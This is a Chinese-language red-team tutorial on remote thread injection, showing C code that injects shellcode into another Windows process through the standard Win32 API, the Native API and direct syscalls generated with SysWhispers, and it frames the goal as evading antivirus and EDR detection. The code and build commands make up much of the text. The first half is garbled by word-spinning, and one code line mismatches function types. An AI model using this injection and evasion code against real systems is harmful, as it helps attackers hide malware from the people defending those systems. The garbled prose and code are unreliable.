网络黑客信息平台网:一文了解远程线程注入
在红队行動中,红队的目地全是要不在曝露本身行動的前提条件下,向红队启动进攻。她们应用各种各样技术性和程序流程来掩藏C2联接和数据流分析。进攻主题活动的第一步是得到原始浏览权。她们会应用订制的恶意程序和重力梯度来避开防杀松软EDR等防御力专用工具。
文中涉及到知识要点实际操作训练:DLL注入型病毒实验(根据试验掌握DLL注入型病毒感染的进攻全过程)
进程注入是用于躲避自我防御机制的关键技术性之一。远程线程注入是在其中的一种简易靠谱的技术性,它的原理是将shellcode注入到另一个合理合法的进程中,并且为该进程建立一个线程来运作payload。
大家一般会应用规范的Windows API、Native API和立即syscalls来完成远程线程注入,这种完成方法都是有分别的优点和缺点,下面的图展现了规范的windows API、Native API和立即syscalls在windows构架中的原理。
规范的windows API
优势:便于应用
缺陷:可被大部分AV/EDR检验到
大家最先检测应用规范的Windows API,因为它比别的二种方法更简易。最先,大家必须寻找大家的总体目标进程ID。大家必须建立一个名叫find_process的涵数,它能够获得一个进程名。它应用CreateToolhelp32Snapshot API获得当今进程目录,并应用Process32First和Process32Next逐一查询,并将进程名与大家的总体目标进程开展较为。应用Process32First和Process32Next API会获得一个偏向PROCESSENTRY32构造的表针,这一构造能够储存进程的信息内容,例如它的姓名和id。假如它取得成功地找到进程,便会回到它的进程ID。
DWORD find_process(char *process_name){
PROCESSENTRY32 process_entry;
process_entry.dwSize=sizeof(PROCESSENTRY32);
//get the list of processes
HANDLE snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//check processes to find TARGET_PROCESS_NAME
if (Process32First(snapshot, &process_entry)==TRUE){
while (Process32Next(snapshot, &process_entry)==TRUE){
if (stricmp(process_entry.szExeFile, process_name)==0){
CloseHandle(snapshot);
return process_entry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
下一步,大家必须应用OpenProcess 涵数开启总体目标进程。我们可以传送大家的主要参数,包含从上一步获得的总体目标进程id,它将回到该进程的句柄。
HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);
如今大家必须应用VirtualAllocEx涵数在总体目标进程中为大家的shellcode分派室内空间,大家应当给这一室内空间分派PAGE_EXECUTE_READWRITE(读、写、实行)管理权限,这一涵数回到分派地区的首详细地址。
LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
如今大家应当应用WriteProcessMemory涵数将大家的shellcode载入分派的运行内存地区。
WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);
此刻能够在总体目标进程中建立一个线程,并运作大家以前写到运行内存页中的shellcode.我们可以应用CreateRemoteThread涵数.还应当传送0做为dwCreationFlags主要参数,表明在建立后马上运作线程。
CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);
为了更好地能在kali中编译程序编码,大家必须应用MinGWc语言编译器。
x86_64-w64-mingw32-gcc main.c -o rti.exe
大家将輸出的文档发送至大家的windows设备上运作它。如果我们开启process hacker并查询notepad.exe进程,在运行内存一部分有一个很异常的具备RWX管理权限的运行内存页,如果我们开启它,就可以见到里边的shellcode。
Native API
优势:可以绕开一些AV/EDR
缺陷:
难以应用
仍很有可能被大部分AV/EDR检验到。
没法在全部版本号的Windows上运作
为了更好地便捷与电脑操作系统开展互动,程序猿一般应用微软公司强烈推荐的规范API(Win 32 API)。规范Windows APIs是在Native APIs的基本上包裝造成的。Native APIs 或 Undocumented APIs 都能够在 ntdll.dll 库文件寻找。微软公司不强烈推荐应用这种API。你能查询第二张图,能够很清晰见到这种API是怎样工作中的。native API也应用syscalls与os核心互动,微软公司应用这类构架是由于它能够不在危害规范API的状况下更改电脑操作系统核心。
Native API也被称作无文本文档API,由于你一般找不着他们的官方网文本文档。大家主要是根据查询别人的编码或是他人小结的第三方文本文档,来查询他们的操作方法。
在上一节中,大家应用了规范的API来进行大家的工作中,这儿大家再深层次一层,试着应用原生态API。最先,大家必须将ntdll.dll载入到大家的恶意程序进程中.随后大家必须界定与我们要应用的初始涵数文件格式完全一致的函数指针,并应用这种涵数的基详细地址来复位这种表针.
我们可以应用LoadLibraryW涵数,动态性载入ntdll.dll或一切别的dll到大家的运作进程中,另外它会回到该库的一个句柄。
HMODULE hNtdll = LoadLibraryW(L"ntdll");
随后大家界定函数指针种类,并应用GetProcAddress涵数获得涵数的基详细地址,并将其取值给表针,下列是NtOpenProcess的应用事例。
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);
pNtOpenProcess NtOpenProcess=(pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");
大家用与NtOpenProcess涵数同样的主要参数界定了大家的函数类型。针对NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx涵数都需要那样做。
NtOpenProcess
和上一节一样,大家从开启总体目标进程逐渐做,但此次应用的是NtOpenProcess涵数。这一涵数并不回到总体目标进程的Handle,大家必须传送一个句柄表针做为第一个主要参数。
#define InitializeObjectAttributes(p,n,a,r,s){ \\
(p)->Length=sizeof(OBJECT_ATTRIBUTES); \\
(p)->RootDirectory=(r); \\
(p)->Attributes=(a); \\
(p)->ObjectName=(n); \\
(p)->SecurityDescriptor=(s); \\
(p)->SecurityQualityOfService=NULL; \\
}
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
}CLIENT_ID, *PCLIENT_ID;
typedef struct _UNICODE_STRING{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
}OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);
CLIENT_ID ci={ (HANDLE)procid, NULL };
现在我们可以使用 NtOpenProcess函数
NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);
NtAllocateVirtualMemory
我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
然后我们得到函数的基地址。
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")
我们把这个地址称为 "NtWriteVirtualMemory"
NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)
我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。
NtWriteVirtualMemory
像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);
pNtWriteVirtualMemory NtWriteVirtualMemory=(pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);
NtCreateThreadEx
现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。
NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)
Direct Syscalls
优点:用户系统中所有的API监控工具都无法检测到。
缺点:
可能无法在所有版本的Windows上运行
很难使用
在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。
syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。
syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10
这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。
文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。